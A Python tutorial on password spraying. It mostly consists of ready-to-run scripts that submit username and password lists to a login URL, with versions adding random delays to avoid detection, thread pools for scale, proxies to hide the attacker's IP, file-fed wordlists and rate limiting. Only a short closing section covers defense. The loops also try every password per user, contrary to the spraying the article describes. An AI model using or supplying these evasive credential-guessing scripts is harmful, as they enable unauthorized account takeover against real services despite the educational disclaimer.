Password Spraying Attacks in Python

{{callout type=“warning”}} This article is for educational purposes only. Unauthorized password spraying attacks are illegal and unethical. Always obtain proper authorization before testing security measures. {{/callout}}

What is Password Spraying?

Password spraying is a type of brute-force attack where an attacker attempts to access a large number of accounts using a small set of common passwords. Unlike traditional brute-force attacks that try many passwords against a single account, password spraying tries a few passwords against many accounts to avoid account lockouts.

graph TD
    A[Attacker] -->|Uses| B[Common Passwords]
    B -->|Attempts on| C[Multiple Accounts]
    C -->|To Avoid| D[Account Lockouts]

Why is Password Spraying Effective?

  1. Avoids account lockouts
  2. Exploits common password practices
  3. Can be automated easily

The effectiveness of password spraying can be represented mathematically:

Let $P(success)$ be the probability of a successful login, $n$ be the number of accounts, and $p$ be the probability that any given account uses a common password.

Then, $P(success) = 1 - (1-p)^n$

As $n$ increases, $P(success)$ approaches 1, even for small values of $p$.

Implementing Password Spraying in Python

Let’s explore how to implement a basic password spraying attack using Python, with various examples and use cases.

Basic Implementation

basic_spray.py
import requests

def password_spray(usernames, passwords, url):
    for username in usernames:
        for password in passwords:
            payload = {'username': username, 'password': password}
            response = requests.post(url, data=payload)
            if 'Login successful' in response.text:
                print(f"Success: {username}:{password}")
            else:
                print(f"Failed: {username}:{password}")

# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'

password_spray(usernames, passwords, url)

This basic implementation loops through a list of usernames and passwords, attempting to log in to a specified URL.

Adding Delays to Avoid Detection

To make the attack less detectable, we can add delays between attempts:

delayed_spray.py
import time
import random
import requests

def password_spray_with_delay(usernames, passwords, url):
    for username in usernames:
        for password in passwords:
            payload = {'username': username, 'password': password}
            response = requests.post(url, data=payload)
            if 'Login successful' in response.text:
                print(f"Success: {username}:{password}")
            else:
                print(f"Failed: {username}:{password}")

            # Add a random delay between 1 and 5 seconds
            time.sleep(random.uniform(1, 5))

# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'

password_spray_with_delay(usernames, passwords, url)

Using Multithreading for Faster Execution

For larger-scale attacks, we can use multithreading to speed up the process:

threaded_spray.py
import concurrent.futures
import requests

def try_login(username, password, url):
    payload = {'username': username, 'password': password}
    response = requests.post(url, data=payload)
    if 'Login successful' in response.text:
        return f"Success: {username}:{password}"
    return f"Failed: {username}:{password}"

def password_spray_threaded(usernames, passwords, url, max_workers=10):
    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = []
        for username in usernames:
            for password in passwords:
                futures.append(executor.submit(try_login, username, password, url))

        for future in concurrent.futures.as_completed(futures):
            print(future.result())

# Example usage
usernames = ['admin', 'user1', 'user2', 'user3', 'user4']
passwords = ['password123', 'qwerty', '123456', 'admin123', 'letmein']
url = 'http://example.com/login'

password_spray_threaded(usernames, passwords, url)

Advanced Techniques

Using a Proxy to Hide IP

To avoid IP-based blocking, we can use a proxy:

proxy_spray.py
import requests

proxies = {
    'http': 'http://10.10.1.10:3128',
    'https': 'http://10.10.1.10:1080',
}

def password_spray_with_proxy(usernames, passwords, url):
    for username in usernames:
        for password in passwords:
            payload = {'username': username, 'password': password}
            try:
                response = requests.post(url, data=payload, proxies=proxies)
                if 'Login successful' in response.text:
                    print(f"Success: {username}:{password}")
                else:
                    print(f"Failed: {username}:{password}")
            except requests.exceptions.ProxyError:
                print("Proxy error, skipping attempt")

# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'

password_spray_with_proxy(usernames, passwords, url)

Reading Usernames and Passwords from Files

For larger lists, it’s more efficient to read from files:

file_spray.py
import requests

def read_file(filename):
    with open(filename, 'r') as f:
        return [line.strip() for line in f]

def password_spray_from_files(username_file, password_file, url):
    usernames = read_file(username_file)
    passwords = read_file(password_file)

    for username in usernames:
        for password in passwords:
            payload = {'username': username, 'password': password}
            response = requests.post(url, data=payload)
            if 'Login successful' in response.text:
                print(f"Success: {username}:{password}")
            else:
                print(f"Failed: {username}:{password}")

# Example usage
password_spray_from_files('usernames.txt', 'passwords.txt', 'http://example.com/login')

Implementing Rate Limiting

To avoid detection and overloading the target server, we can implement rate limiting:

rate_limited_spray.py
import time
import requests

class RateLimiter:
    def __init__(self, max_calls, time_frame):
        self.max_calls = max_calls
        self.time_frame = time_frame
        self.calls = []

    def __call__(self, func):
        def wrapper(*args, **kwargs):
            now = time.time()
            self.calls = [call for call in self.calls if call > now - self.time_frame]
            if len(self.calls) >= self.max_calls:
                time.sleep(self.time_frame - (now - self.calls[0]))
            self.calls.append(now)
            return func(*args, **kwargs)
        return wrapper

@RateLimiter(max_calls=10, time_frame=60)  # 10 calls per minute
def try_login(username, password, url):
    payload = {'username': username, 'password': password}
    response = requests.post(url, data=payload)
    if 'Login successful' in response.text:
        return f"Success: {username}:{password}"
    return f"Failed: {username}:{password}"

def password_spray_rate_limited(usernames, passwords, url):
    for username in usernames:
        for password in passwords:
            result = try_login(username, password, url)
            print(result)

# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'

password_spray_rate_limited(usernames, passwords, url)

Defending Against Password Spraying

To protect against password spraying attacks:

  1. Implement multi-factor authentication
  2. Use strong password policies
  3. Monitor for suspicious login attempts
  4. Implement account lockouts after a certain number of failed attempts

Here’s a simple example of how to implement a basic account lockout mechanism:

account_lockout.py
import time

class AccountLockout:
    def __init__(self, max_attempts, lockout_time):
        self.max_attempts = max_attempts
        self.lockout_time = lockout_time
        self.attempts = {}

    def check_lockout(self, username):
        if username in self.attempts:
            attempts, timestamp = self.attempts[username]
            if attempts >= self.max_attempts:
                if time.time() - timestamp < self.lockout_time:
                    return True
                else:
                    del self.attempts[username]
        return False

    def record_attempt(self, username):
        if username not in self.attempts:
            self.attempts[username] = [1, time.time()]
        else:
            attempts, _ = self.attempts[username]
            self.attempts[username] = [attempts + 1, time.time()]

# Example usage
lockout = AccountLockout(max_attempts=3, lockout_time=300)  # 3 attempts, 5 minutes lockout

def login(username, password):
    if lockout.check_lockout(username):
        print(f"Account {username} is locked out. Try again later.")
        return False

    # Perform actual login logic here
    # For demonstration, we'll just check if the password is "password123"
    if password == "password123":
        print(f"Login successful for {username}")
        return True
    else:
        lockout.record_attempt(username)
        print(f"Login failed for {username}")
        return False

# Test the lockout mechanism
for _ in range(4):
    login("testuser", "wrongpassword")

time.sleep(1)
login("testuser", "password123")  # This should be locked out

Conclusion

Password spraying is a powerful technique that exploits common password practices. While it can be an effective tool for security testing, it’s crucial to use such techniques responsibly and ethically. Always ensure you have proper authorization before conducting any security tests.

Further Reading

Remember, the goal of understanding these techniques is to build better defenses, not to exploit vulnerabilities unethically.